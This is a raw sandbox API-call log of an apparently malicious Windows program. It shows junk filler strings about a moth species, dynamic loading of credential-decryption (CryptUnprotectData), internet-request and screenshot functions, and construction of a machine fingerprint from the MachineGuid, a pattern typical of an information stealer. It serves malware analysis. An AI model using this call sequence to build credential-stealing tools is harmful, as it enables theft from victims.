[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.766] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.767] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.767] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.767] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.767] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.767] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.767] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.767] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.767] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.767] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.767] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.767] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.767] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.767] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.832] LoadLibraryA (lpLibFileName="BCRYPT.DLL") returned 0x71260000
[0048.868] LoadLibraryA (lpLibFileName="CRYPT32.DLL") returned 0x73c20000
[0048.880] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x71290000
[0048.922] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x76ab0000
[0048.923] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x74a30000
[0048.923] LoadLibraryA (lpLibFileName="user32.dll") returned 0x73f00000
[0048.923] LoadLibraryA (lpLibFileName="psapi.dll") returned 0x748b0000
[0048.925] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x74d70000
[0049.643] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x748c0000
[0049.643] LoadLibraryA (lpLibFileName="dbghelp.dll") returned 0x70150000
[0049.690] LoadLibraryA (lpLibFileName="gdiplus.dll") returned 0x6dfb0000
[0049.702] GetProcAddress (hModule=0x71260000, lpProcName="BCryptCloseAlgorithmProvider") returned 0x71263c50
[0049.702] GetProcAddress (hModule=0x71260000, lpProcName="BCryptDestroyKey") returned 0x71266420
[0049.702] GetProcAddress (hModule=0x71260000, lpProcName="BCryptOpenAlgorithmProvider") returned 0x71263760
[0049.702] GetProcAddress (hModule=0x71260000, lpProcName="BCryptSetProperty") returned 0x712647e0
[0049.702] GetProcAddress (hModule=0x71260000, lpProcName="BCryptGenerateSymmetricKey") returned 0x71264910
[0049.702] GetProcAddress (hModule=0x71260000, lpProcName="BCryptDecrypt") returned 0x71264ff0
[0049.702] GetProcAddress (hModule=0x73c20000, lpProcName="CryptUnprotectData") returned 0x73c43140
[0049.702] GetProcAddress (hModule=0x73c20000, lpProcName="CryptBinaryToStringA") returned 0x73c3e0f0
[0049.703] GetProcAddress (hModule=0x73c20000, lpProcName="CryptStringToBinaryA") returned 0x73c3d6d0
[0049.703] GetProcAddress (hModule=0x76df0000, lpProcName="RegOpenKeyExA") returned 0x76e0f790
[0049.703] GetProcAddress (hModule=0x76df0000, lpProcName="RegQueryValueExA") returned 0x76e0f500
[0049.703] GetProcAddress (hModule=0x76df0000, lpProcName="RegCloseKey") returned 0x76e0f620
[0049.703] GetProcAddress (hModule=0x76df0000, lpProcName="RegOpenKeyExW") returned 0x76e0f350
[0049.703] GetProcAddress (hModule=0x76df0000, lpProcName="RegGetValueW") returned 0x76e10670
[0049.703] GetProcAddress (hModule=0x76df0000, lpProcName="RegEnumKeyExA") returned 0x76e11810
[0049.703] GetProcAddress (hModule=0x76df0000, lpProcName="RegGetValueA") returned 0x76e11060
[0049.703] GetProcAddress (hModule=0x76df0000, lpProcName="GetUserNameA") returned 0x76e12910
[0049.703] GetProcAddress (hModule=0x76df0000, lpProcName="GetCurrentHwProfileA") returned 0x76e23a60
[0049.703] GetProcAddress (hModule=0x76df0000, lpProcName="RegEnumValueA") returned 0x76e11e70
[0049.704] GetProcAddress (hModule=0x76df0000, lpProcName="GetFileSecurityA") returned 0x76e24060
[0049.704] GetProcAddress (hModule=0x76df0000, lpProcName="OpenProcessToken") returned 0x76e0f520
[0049.704] GetProcAddress (hModule=0x76df0000, lpProcName="DuplicateToken") returned 0x76e11140
[0049.704] GetProcAddress (hModule=0x76df0000, lpProcName="MapGenericMask") returned 0x76e138c0
[0049.704] GetProcAddress (hModule=0x76df0000, lpProcName="AccessCheck") returned 0x76e11230
[0049.704] GetProcAddress (hModule=0x71290000, lpProcName="InternetCloseHandle") returned 0x7135d200
[0049.704] GetProcAddress (hModule=0x71290000, lpProcName="InternetReadFile") returned 0x71317320
[0049.704] GetProcAddress (hModule=0x71290000, lpProcName="HttpSendRequestA") returned 0x71358e60
[0049.704] GetProcAddress (hModule=0x71290000, lpProcName="HttpOpenRequestA") returned 0x713f5860
[0049.704] GetProcAddress (hModule=0x71290000, lpProcName="InternetConnectA") returned 0x713d0da0
[0049.705] GetProcAddress (hModule=0x71290000, lpProcName="InternetOpenA") returned 0x713585d0
[0049.705] GetProcAddress (hModule=0x71290000, lpProcName="HttpAddRequestHeadersA") returned 0x7130c3f0
[0049.705] GetProcAddress (hModule=0x71290000, lpProcName="HttpQueryInfoA") returned 0x71331880
[0049.705] GetProcAddress (hModule=0x71290000, lpProcName="InternetSetFilePointer") returned 0x713d10c0
[0049.705] GetProcAddress (hModule=0x71290000, lpProcName="InternetOpenUrlA") returned 0x712da6c0
[0049.705] GetProcAddress (hModule=0x71290000, lpProcName="InternetSetOptionA") returned 0x71331dc0
[0049.705] GetProcAddress (hModule=0x71290000, lpProcName="DeleteUrlCacheEntry") returned 0x71352080
[0049.705] GetProcAddress (hModule=0x71290000, lpProcName="InternetCrackUrlA") returned 0x7136f730
[0049.705] GetProcAddress (hModule=0x76ab0000, lpProcName="CreateCompatibleBitmap") returned 0x73b80830
[0049.705] GetProcAddress (hModule=0x76ab0000, lpProcName="SelectObject") returned 0x76b30440
[0049.705] GetProcAddress (hModule=0x76ab0000, lpProcName="BitBlt") returned 0x73b809b0
[0049.706] GetProcAddress (hModule=0x76ab0000, lpProcName="DeleteObject") returned 0x76b30810
[0049.706] GetProcAddress (hModule=0x76ab0000, lpProcName="CreateDCA") returned 0x73b81e00
[0049.706] GetProcAddress (hModule=0x76ab0000, lpProcName="GetDeviceCaps") returned 0x73b80700
[0049.706] GetProcAddress (hModule=0x76ab0000, lpProcName="CreateCompatibleDC") returned 0x73b80970
[0049.706] GetProcAddress (hModule=0x74a30000, lpProcName="CoCreateInstance") returned 0x74700060
[0049.706] GetProcAddress (hModule=0x74a30000, lpProcName="CoUninitialize") returned 0x746d92a0
[0049.706] GetProcAddress (hModule=0x74a30000, lpProcName="CoInitialize") returned 0x74a61930
[0049.706] GetProcAddress (hModule=0x74a30000, lpProcName="CreateStreamOnHGlobal") returned 0x74731370
[0049.706] GetProcAddress (hModule=0x74a30000, lpProcName="GetHGlobalFromStream") returned 0x74731a60
[0049.706] GetProcAddress (hModule=0x73f00000, lpProcName="GetDesktopWindow") returned 0x73f13470
[0049.707] GetProcAddress (hModule=0x73f00000, lpProcName="ReleaseDC") returned 0x73b7a580
[0049.707] GetProcAddress (hModule=0x73f00000, lpProcName="GetKeyboardLayoutList") returned 0x73f38e70
[0049.707] GetProcAddress (hModule=0x73f00000, lpProcName="CharToOemA") returned 0x73f82cf0
[0049.707] GetProcAddress (hModule=0x73f00000, lpProcName="GetDC") returned 0x73b7a680
[0049.707] GetProcAddress (hModule=0x73f00000, lpProcName="wsprintfA") returned 0x73f304a0
[0049.707] GetProcAddress (hModule=0x73f00000, lpProcName="EnumDisplayDevicesA") returned 0x73b81eb0
[0049.707] GetProcAddress (hModule=0x73f00000, lpProcName="GetSystemMetrics") returned 0x73f19160
[0049.707] GetProcAddress (hModule=0x73f00000, lpProcName="GetWindowRect") returned 0x73f14140
[0049.708] GetProcAddress (hModule=0x73f00000, lpProcName="GetWindowDC") returned 0x73b818c0
[0049.708] GetProcAddress (hModule=0x73f00000, lpProcName="CloseWindow") returned 0x73f5bb50
[0049.708] GetProcAddress (hModule=0x748b0000, lpProcName="GetModuleFileNameExA") returned 0x748b1660
[0049.708] GetProcAddress (hModule=0x748b0000, lpProcName="GetModuleBaseNameA") returned 0x748b1640
[0049.708] GetProcAddress (hModule=0x748b0000, lpProcName="EnumProcessModules") returned 0x748b1360
[0049.708] GetProcAddress (hModule=0x74d70000, lpProcName="ShellExecuteExA") returned 0x74fe0290
[0049.708] GetProcAddress (hModule=0x74d70000, lpProcName="SHFileOperationA") returned 0x74fcf680
[0049.709] GetProcAddress (hModule=0x74d70000, lpProcName="SHGetFolderPathA") returned 0x74f29b10
[0049.709] GetProcAddress (hModule=0x748c0000, lpProcName="PathMatchSpecW") returned 0x748e2c80
[0049.709] GetProcAddress (hModule=0x748c0000, lpProcName="PathMatchSpecA") returned 0x748e2c20
[0049.709] GetProcAddress (hModule=0x748c0000, lpProcName="StrCmpCA") returned 0x748e3330
[0049.709] GetProcAddress (hModule=0x748c0000, lpProcName="StrCmpCW") returned 0x748d4c20
[0049.709] GetProcAddress (hModule=0x748c0000, lpProcName="StrStrA") returned 0x748e3570
[0049.709] GetProcAddress (hModule=0x748c0000, lpProcName="PathFindFileNameA") returned 0x748d8780
[0049.709] GetProcAddress (hModule=0x70150000, lpProcName="SymMatchString") returned 0x70232890
[0049.709] GetProcAddress (hModule=0x6dfb0000, lpProcName="GdipGetImageEncodersSize") returned 0x6e00f520
[0049.709] GetProcAddress (hModule=0x6dfb0000, lpProcName="GdipGetImageEncoders") returned 0x6e00f380
[0049.710] GetProcAddress (hModule=0x6dfb0000, lpProcName="GdipCreateBitmapFromHBITMAP") returned 0x6dff5b70
[0049.710] GetProcAddress (hModule=0x6dfb0000, lpProcName="GdiplusStartup") returned 0x6e01ab50
[0049.710] GetProcAddress (hModule=0x6dfb0000, lpProcName="GdiplusShutdown") returned 0x6e01a7c0
[0049.710] GetProcAddress (hModule=0x6dfb0000, lpProcName="GdipSaveImageToStream") returned 0x6e014bd0
[0049.710] GetProcAddress (hModule=0x6dfb0000, lpProcName="GdipDisposeImage") returned 0x6e0191c0
[0049.710] GetProcAddress (hModule=0x6dfb0000, lpProcName="GdipFree") returned 0x6dff3810
[0049.710] Sleep (dwMilliseconds=0x1)
[0049.722] Sleep (dwMilliseconds=0x3)
[0049.738] Sleep (dwMilliseconds=0x3)
[0049.753] Sleep (dwMilliseconds=0x7)
[0049.769] Sleep (dwMilliseconds=0x1)
[0049.795] Sleep (dwMilliseconds=0x3)
[0049.800] Sleep (dwMilliseconds=0x3)
[0049.816] Sleep (dwMilliseconds=0x7)
[0049.834] Sleep (dwMilliseconds=0x1)
[0049.863] Sleep (dwMilliseconds=0x3)
[0049.880] Sleep (dwMilliseconds=0x3)
[0049.895] Sleep (dwMilliseconds=0x7)
[0049.910] GetWindowsDirectoryA (in: lpBuffer=0x19a8bc, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa
[0049.912] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x19a7f4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19a7f4*=0xc287f38, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
[0049.913] GetProcessHeap () returned 0x680000
[0049.913] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x104) returned 0x6ccbb0
[0049.913] wsprintfA (in: param_1=0x6ccbb0, param_2="%08lX%04lX%lu-" | out: param_1="D5DBAA177EAC3343412148-") returned 23
[0049.915] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x670fd0
[0049.918] GetCurrentHwProfileA (in: lpHwProfileInfo=0x19a748 | out: lpHwProfileInfo=0x19a748) returned 1
[0049.919] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x670ff8
[0049.921] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x671030
[0049.922] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19a5bc | out: phkResult=0x19a5bc*=0x1ac) returned 0x0
[0049.922] RegQueryValueExA (in: hKey=0x1ac, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19a6c4, lpcbData=0x19a5c0*=0xff | out: lpType=0x0, lpData=0x19a6c4*=0x30, lpcbData=0x19a5c0*=0x25) returned 0x0
[0049.922] RegCloseKey (hKey=0x1ac) returned 0x0
[0049.923] CharToOemA (in: pSrc="03845cb8-7441-4a2f-8c0f-c90408af5778", pDst=0x19a5c4 | out: pDst="03845cb8-7441-4a2f-8c0f-c90408af5778") returned 1
[0049.923] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x671058
[0049.923] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x671090
[0049.923] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x6710b8
[0049.923] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671090 | out: hHeap=0x670000) returned 1
[0049.923] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x6710f0
[0049.923] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6710b8 | out: hHeap=0x670000) returned 1
[0049.924] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670fd0 | out: hHeap=0x670000) returned 1
[0049.924] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671058 | out: hHeap=0x670000) returned 1
[0049.924] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671030 | out: hHeap=0x670000) returned 1
[0049.924] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670ff8 | out: hHeap=0x670000) returned 1
[0049.924] lstrcatA (in: lpString1="", lpString2="d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963" | out: lpString1="d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963") returned="d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963"
[0049.924] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6710f0 | out: hHeap=0x670000) returned 1
[0049.924] GetCurrentHwProfileA (in: lpHwProfileInfo=0x19a950 | out: lpHwProfileInfo=0x19a950) returned 1
[0049.925] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x670fd0
[0049.925] lstrcatA (in: lpString1="d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963", lpString2="{c20d559d-6c9d-11eb-b0a3-806e6f6e6963}" | out: lpString1="d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963{c20d559d-6c9d-11eb-b0a3-806e6f6e6963}") returned="d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963{c20d559d-6c9d-11eb-b0a3-806e6f6e6963}"
[0049.925] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670fd0 | out: hHeap=0x670000) returned 1
[0049.925] GetSystemInfo (in: lpSystemInfo=0x19a978 | out: lpSystemInfo=0x19a978*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06))
[0049.927] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x670fd0
[0049.928] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x670fe0
[0049.928] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x671008
[0049.928] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671008 | out: hHeap=0x670000) returned 1
[0049.928] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x671008
[0049.932] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671018
[0049.934] GetLastError () returned 0x3f0
[0049.934] SetLastError (dwErrCode=0x3f0)
[0049.934] GetLastError () returned 0x3f0
[0049.934] SetLastError (dwErrCode=0x3f0)
[0049.936] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xd8) returned 0x671038
[0049.936] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x355) returned 0x671118
[0049.938] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671118 | out: hHeap=0x670000) returned 1
[0049.940] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x671118
[0049.940] GetLastError () returned 0x3f0
[0049.940] SetLastError (dwErrCode=0x3f0)
[0049.940] GetLastError () returned 0x3f0
[0049.941] SetLastError (dwErrCode=0x3f0)
[0049.941] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xd8) returned 0x671128
[0049.941] GetLastError () returned 0x3f0
[0049.942] SetLastError (dwErrCode=0x3f0)
[0049.942] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x355) returned 0x6727d0
[0049.942] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6727d0 | out: hHeap=0x670000) returned 1
[0049.942] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671038 | out: hHeap=0x670000) returned 1
[0049.942] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x671038
[0049.944] GetLastError () returned 0x3f0
[0049.944] SetLastError (dwErrCode=0x3f0)
[0049.944] GetLastError () returned 0x3f0
[0049.944] SetLastError (dwErrCode=0x3f0)
[0049.944] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x200) returned 0x671208
[0049.944] GetLastError () returned 0x3f0
[0049.944] SetLastError (dwErrCode=0x3f0)
[0049.944] GetLastError () returned 0x3f0
[0049.945] SetLastError (dwErrCode=0x3f0)
[0049.945] GetLastError () returned 0x3f0
[0049.945] SetLastError (dwErrCode=0x3f0)
[0049.945] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xd8) returned 0x671410
[0049.945] GetLastError () returned 0x3f0
[0049.945] SetLastError (dwErrCode=0x3f0)
[0049.945] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x355) returned 0x6727d0
[0049.945] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6727d0 | out: hHeap=0x670000) returned 1
[0049.945] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671128 | out: hHeap=0x670000) returned 1
[0049.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671038 | out: hHeap=0x670000) returned 1
[0049.946] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671118 | out: hHeap=0x670000) returned 1
[0049.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6714f0
[0049.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0049.946] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x671038
[0049.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x671048
[0049.950] GetLastError () returned 0x3f0
[0049.950] SetLastError (dwErrCode=0x3f0)
[0049.950] GetLastError () returned 0x3f0
[0049.950] SetLastError (dwErrCode=0x3f0)
[0049.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xd8) returned 0x671060
[0049.950] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x355) returned 0x6727d0
[0049.950] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6727d0 | out: hHeap=0x670000) returned 1
[0049.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671410 | out: hHeap=0x670000) returned 1
[0049.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x671140
[0049.951] GetLastError () returned 0x3f0
[0049.951] SetLastError (dwErrCode=0x3f0)
[0049.951] GetLastError () returned 0x3f0
[0049.951] SetLastError (dwErrCode=0x3f0)
[0049.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xd8) returned 0x671410
[0049.951] GetLastError () returned 0x3f0
[0049.951] SetLastError (dwErrCode=0x3f0)
[0049.951] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x355) returned 0x6727d0
[0049.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6727d0 | out: hHeap=0x670000) returned 1
[0049.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671060 | out: hHeap=0x670000) returned 1
[0049.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x671150
[0049.952] GetLastError () returned 0x3f0
[0049.952] SetLastError (dwErrCode=0x3f0)
[0049.952] GetLastError () returned 0x3f0
[0049.952] SetLastError (dwErrCode=0x3f0)
[0049.952] GetLastError () returned 0x3f0
[0049.952] SetLastError (dwErrCode=0x3f0)
[0049.952] GetLastError () returned 0x3f0
[0049.952] SetLastError (dwErrCode=0x3f0)
[0049.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xd8) returned 0x671060
[0049.952] GetLastError () returned 0x3f0
[0049.952] SetLastError (dwErrCode=0x3f0)
[0049.952] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x355) returned 0x6727d0
[0049.952] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6727d0 | out: hHeap=0x670000) returned 1
[0049.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671410 | out: hHeap=0x670000) returned 1
[0049.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671150 | out: hHeap=0x670000) returned 1
[0049.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671140 | out: hHeap=0x670000) returned 1
[0049.953] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x671140
[0049.955] GetLastError () returned 0x3f0
[0049.955] SetLastError (dwErrCode=0x3f0)
[0049.957] GetLastError () returned 0x3f0
[0049.957] SetLastError (dwErrCode=0x3f0)
[0049.957] GetLastError () returned 0x3f0
[0049.957] SetLastError (dwErrCode=0x3f0)
[0049.957] GetLastError () returned 0x3f0
[0049.958] SetLastError (dwErrCode=0x3f0)
[0049.958] GetLastError () returned 0x3f0
[0049.958] SetLastError (dwErrCode=0x3f0)
[0049.958] GetLastError () returned 0x3f0
[0049.958] SetLastError (dwErrCode=0x3f0)
[0049.958] GetLastError () returned 0x3f0
[0049.958] SetLastError (dwErrCode=0x3f0)
[0049.958] GetLastError () returned 0x3f0
[0049.958] SetLastError (dwErrCode=0x3f0)
[0049.958] GetLastError () returned 0x3f0
[0049.958] SetLastError (dwErrCode=0x3f0)
[0049.958] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671150
[0049.958] GetLastError () returned 0x3f0
[0049.958] SetLastError (dwErrCode=0x3f0)
[0049.958] GetLastError () returned 0x3f0
[0049.958] SetLastError (dwErrCode=0x3f0)
[0049.958] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xd8) returned 0x671410
[0049.958] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x355) returned 0x6727d0
[0049.959] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6727d0 | out: hHeap=0x670000) returned 1
[0049.959] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671060 | out: hHeap=0x670000) returned 1
[0049.959] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x671170
[0049.959] GetLastError () returned 0x3f0
[0049.959] SetLastError (dwErrCode=0x3f0)
[0049.959] GetLastError () returned 0x3f0
[0049.959] SetLastError (dwErrCode=0x3f0)
